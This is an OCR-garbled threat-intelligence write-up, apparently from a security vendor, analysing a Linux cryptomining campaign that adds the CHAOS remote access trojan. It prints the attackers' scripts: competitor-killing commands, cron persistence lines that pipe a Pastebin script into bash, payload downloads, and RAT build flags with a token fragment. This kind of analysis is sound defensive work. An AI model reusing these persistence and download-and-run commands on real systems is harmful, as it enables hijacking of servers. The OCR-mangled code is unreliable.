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We intercepted a cryptocurrency mining attack that incorporated an advanced remote access trojan (RAT)
named the CHAOS Remote Administrative Tool.
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computing instances being targeted by threat actors active in this space such as TeamTNT. We found that
the routines and chain of events were fairly similar even if it involved different threat actors: the initial phase
saw attackers trying to kill off competing malware, security products, and other cloud middleware. This was
followed by routines for persistence and payload execution, which in most cases is a Monero (XMR)
cryptocurrency miner. For more sophisticated threats, we also observed capabilities that allowed it to spread
to more devices.

In November 2022, we intercepted a threat that had a slightly different routine and incorporated an
advanced remote access trojan (RAT) named the CHAOS Remote Administrative Tool
(Trojan.Linux.CHAOSRAT), which is based on an open source project.

Note that the original flow involving the termination of competing malware such as Kinsing and the killing of
resources that influence cryptocurrency mining performance remained unchanged.
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#*/bin/sh

export PATH=$PATH:/bin:fusr/bin:/usr/locals/binz/usr/sbin

ps aux | grep -v grep | grep ‘givemexyz' | awk “{print $2}' | xargs -1 % kill -9 %
ps aux | grep -v grep | grep 'dbuse' | awk '{print $2}' | xargs -I % kill -9 %

ps aux | grep -u grep | grep 'kKdevtmpFsi® | awk ‘{print $2} | xargs -1 % kill -9 %
ps aux | grep -v grep | grep ‘javaupbates® | awk ‘{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep ‘kinsing® | awk “{print $2}° | xargs -I % kill -9 %
killall /tmp/=

killall /tmp/f.»

killall fvar/tmp/= _Figure 1. The original

killall fuar/ftmp/.=

pgrep Javallpdate | xargs -1 % kill -9 %
pgrep kinsing | xargs -1 % kill -9 3
parep donate | xargs -1 % kill -9 %
pgrep kdeutmpfsi | xargs -1 % kill -9 %
pgrep sysupdate | xargs -1 % kill -9 %
pgrep mysqlserver | xargs -1 % kill -9 %
chattr -ia fvar/spool/cron/root

cryptojacking workflow

The malware achieves its persistence by altering /etc/crontab file, a UNIX task scheduler that, in this case,

downloads itself every 10 minutes from Pastebin.

chattr -ia Setc/crontab

echo “=f10 = = & & pFoot curl -FsSL llttj]‘a'-:.l".-"pasl?hil'lYCDHJ’FQNIICQ-FIIGSQU | sh® > fetcfocrontab

chattr +ia fetc/ocrontah

chattr -ia fwar/fspool/fcron/root

chattr -ia fuarfspool/feron/crontabs/froot

echo "#/1@ = # = = curl -FsSL https://pastebin.con/raw/xg546sAd | bash® >/var/spool/cronfroot Figure 2. Achieving
echo "#f18 = = = = gurl -fFsSL https://pastebin.confraw/=q54%6sad | bash® >/earfspool/cronfcrontabs/froot  ~
echo *#/18 = # » # Foot curl -fsSL https://pastebin.com/raw/xgShésad | sh® > fetcsferon.dfroot

chattr +ia fuarfspoolferon/root

chattr +ia fetc/focron.dfroot

chattr +ia fuarfspool/cronfcrontabs/root

persistence using cron and downloaded shell scripts from Pastebin
This is followed by downloading additional payloads: an XMRig miner, its configuration file, a shell script
looping “competition killer,” and most importantly, the RAT itself.

pkill solr.sh

pkill solrd

ps aux | grep -v grep | grep -v " javay|redisy|mongody [mysgly|oracley|toncaty|greph|postgresy|
rm =rf ftmp/.solr

nkdir Jtmps.solr

chmod »rwx ftap/.solr

curl =fsSL starrail/config/fconfig.json -o /tmp/.solr/config.json

curl -FsSL starrail/cht2zip/setup.exe =0 ftmp/.solr/solrd H Y
curl -FsSL solr.sh -o /tmp/.solr/solr.sh -Flgure 3. Additional
curl -fsSL genshin -0 /tmpf.solrfgenshin

chmod +% JftapS.solr/fgenshin

chrod +x Jtep/.solr/solrd

chmod +x /JtAp/.solvfsolr.sh

nohup Jtep/.solr/solr.sh &>>/dev/null &
sleep 18

rm -f Jftep/.solrfsolr.sh

payload download

#t/bin/sh
export PATH=$PATH:/bin:/usr/bin:/fusr/localsbin:/usr/sbin
while [ 1]
do
killall sftmp/=
killall fuvar/tmp/s

crontab -1 || sed ° | crontab -
crontab -1 | sed "sfct.shfd” | crontab -
crontab -1 sed "JSxms/d' | crontab - Figure 4. Infinite IOOp

|
crontab -1 | sed */kwork.sh/d* | cromtab -
crontab -1 | sed °/cyberium/d® | crontab -
crontab -1 | sed "/fnewdat/sd" | crontab -
rm -F ftmpfs
ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -1 % kill -9 %
ps aux | grep -v grep | grep "givemexyz' | awk "{print §2}° | xargs -1 % kill -9 %
ps aux | grep -v grep | grep ‘dbused' | awk ‘{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}" | xargs -I % kill -9 %
ps aux | grep -v grep | qrep “kinsing® | awk "{print $2}' | xargs -1 % kill -9 %

of competing process kill
The main downloader script and further payloads are hosted in different locations to ensure that the
campaign remains active and constantly spreading. The scripts show that the main server, which is also

used for downloading payloads, appears to be located in Russia, with historical whois data showing that it
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also used for cloud bulletproof hosting (a modus operandi that was previously employed by hacking teams
— using open source tools — that focused their attacks on cloud infrastructure, containers, and Linux
environments).

This command-and-control (C&C) server is used only for providing payloads — Chaos RAT connects to
another C&C server, likely located in Hong Kong (which we determined through IP geolocation). When
running, the RAT client connects to the C&C server via its address, and default port, using a JSON Web

Token (JTW) for authorization.

Upon connection and successful authorization, the client sends detailed information on the infected machine

to the C&C server using the command /device.

The RAT is a Go-compiled binary with the following functions:

o Perform reverse shell
e Download files

o Upload files

o Delete files

o Take screenshots

o Access file explorer
o Gather operating system information
o Restart the PC

e Shutdown the PC

e Open a URL
¥ ¥
= =]

moy rcx, [rsp+&8h+var_38]

mov [rax+68h], rcx loc_4C7476:

jmp short loc_4C7485 lea rdi, [rax+68h]
MoV rex, [rsp+68h+var_38)
nop

call sub_463E68

]

Yy
s =
loc_4CT485:
moy qword ptr [raxiSEh],
lea rcx, aHealth ; “health”
mov [rax+78h], rcx
mov qword ptr [rax+9@h],
lea rcx, aDevice evice”
mov [rax+88h], rex
mov qword ptr [rax+ﬂaﬂﬂ],
lea rcx, aCommand ommand"
mov [rax+28h], rcx
mov qword ptr [raxﬁaﬂaﬂ],
lea rcx, aUpload "upload”™
mov [rax+8Aa8h], rcx
mov gqword ptr [rax+@Ceh], 8
lea rcx, aDownload nload™
mov [rax+8BEh], rex
mov rbp, [rsp+&8h+var_8)
add rsp, 68h
retn

can be sent to communicated machine via the C&C server

_Figure 5. Some implemented functions that
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.gopcintab:0... 00000038

5 C github.com/ CHACS/clientfappfservices.init

E .gopcintab:0... 000000SA C github.com/ CHACS/client)appfservices/delete. (*DeleteService), DeleteFils

‘s’ .gopcintab:0... 00000053 C github.com/ CHACSclient)appfservicesdelete. DeleteService, DeleteFile

‘s’ .gopcintab:0... 000000SC C github.com/ CHaCS client) applservices/download, (*Download3ervice), DownloadFile

‘s’ .gopcintab:0... 00000059 C github.com/ CHaCS client) applservices/download, DownloadService . DownloadFile

‘s’ .gopcintab:0... 0000004F C github.com/ CHaCS client ) applservices)download, MewDownloadService

‘s’ .gopcintab:0... 00000050 C github.com/ CHaCS client ) appfservices)download, getFilenameFromPath

‘s’ .gopcintab:0... 000000&0 C github.com/ CHaC S client)app)services/explorer . (*ExplorerService),Explorelirectory
‘s’ .gopcintab:0... 000000SD C github.com/ CHaC S client ) app)services/explorer  ExplorerService ExploreDirectory

‘.___-;-'l .gopcintab:0... 00000044 C github.com/ CHaCS client)app)services/explorer ListDirectary

‘s’ .gopcntab:0... 00000065 C github.comj CHAOS Client] appfservicesfinformation. (*InformationZervice ), LoadDeviceSpecs
‘s’ .gopcntab:0... 00000062 C github.comj CHAOS Cient] appfservicesfinformation. InformationZer vice LoadDeviceSpecs
‘.__--;-'l .gopcntab:0... 00000055 C github . com) CHAOS client] appiservicesfinformation. MewInformationService

'z’ .gopcintab:0... 00000055 C github.com/ CHACS/client)applservicesfos, (*OperatingSywstemService). Lock

'z’ .gopcintab:0... 000000SE C github.com/ CHACS/client)appservicesfos, (¥OperatingSystemService). Restart

'_:-i .gopcintab:0... 00000059 C github.com/ CHACS/client)appfservices os. (*OperatingSwstemaervice). shutdown
Figure 6. Strings linking the binary to CHAOS RAT

CHAOS: Remote Administration Tool

Golang 1.18+ Release VSBeta| License [Hlfl] cockerpulls 950  Open Source [8]

CHAQS is a free and open-source Remote Administration Tool that allow generate binaries to control remote
ting
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functions

An interesting trait of the malware family we intercepted is that the address and access token are passed as
compilation flags and hardcoded inside the RAT client, replacing any data inside variables from the main
code.

115958 -1dflags=" -s -w -X main.Version=v5.0.5 -X main.ServerPort=8080 -X main.ServerAddress=¢ .146 -X main.Toke

n=eyJhbGci0iJIUzIINiIsInRS5cCI6IkpXVCI9. eyIhdXRob3
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Loc_#Fara;

lea P

nop dward ptr [raxeraxedih]
call pub_s3fasd

Lea row, off _7TRIz

LB _Figure 8. The address and access token being passed
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as compilation flags and hardcoded inside the RAT client

Conclusion

On the surface, the incorporation of a RAT into the infection routine of a cryptocurrency mining malware
might seem relatively minor. However, given the tool’s array of functions and the fact that this evolution
shows that cloud-based threat actors are still evolving their campaigns, it is important that both
organizations and individuals stay extra vigilant when it comes to security. In our research on cloud-based
cryptocurrency mining_groups, we provided several concrete measures and best practices that enterprises
can implement to help strengthen their defensive posture.

Organizations can also consider powerful cloud security technologies such as Trend Micro Cloud One™ —
Workload Security, which helps defend systems against vulnerability exploits, malware, and unauthorized
change. Using techniques such as machine learning (ML) and virtual patching, it can automatically secure
new and existing workloads both against known and unknown threats.

Indicators of Compromise

The indicators of compromise for this entry can be found here.

MITRE ATT&CK
Initial Discovery Execution Persistence Collection Command Exfiltration Impact
Access and

Control
External Network  Command Scheduled Screen Remote Exfiltration Resource
Remote Service and Task/Job Capture  Access Over C2 Hijacking
Services Scanning Scripting Software Channel

Interpreter
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